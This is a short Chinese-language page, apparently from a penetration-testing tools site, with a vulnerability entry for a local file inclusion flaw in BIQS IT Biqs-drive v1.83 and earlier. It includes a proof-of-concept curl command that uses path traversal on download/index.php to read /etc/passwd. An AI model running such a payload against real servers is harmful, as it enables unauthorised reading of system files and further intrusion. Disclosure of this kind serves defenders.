黑客、渗透测试和网络安全工具,武装您的安全武器库!
BIQS IT Biqs-drive v1.83
发现我们社区最常用的工具。
探索所有工具
浏览我们的工具集合
存在一个本地文件包含(LFI)漏洞,影响版本 BIQS IT Biqs-drive v1.83 及更早版本。当向 download/index.php 的 file 参数发送特定 payload 时,攻击者能够以配置的 Web 用户权限读取服务器上的任意文件。
curl https://TARGET/download/index.php?file=../../../../../../../../../etc/passwd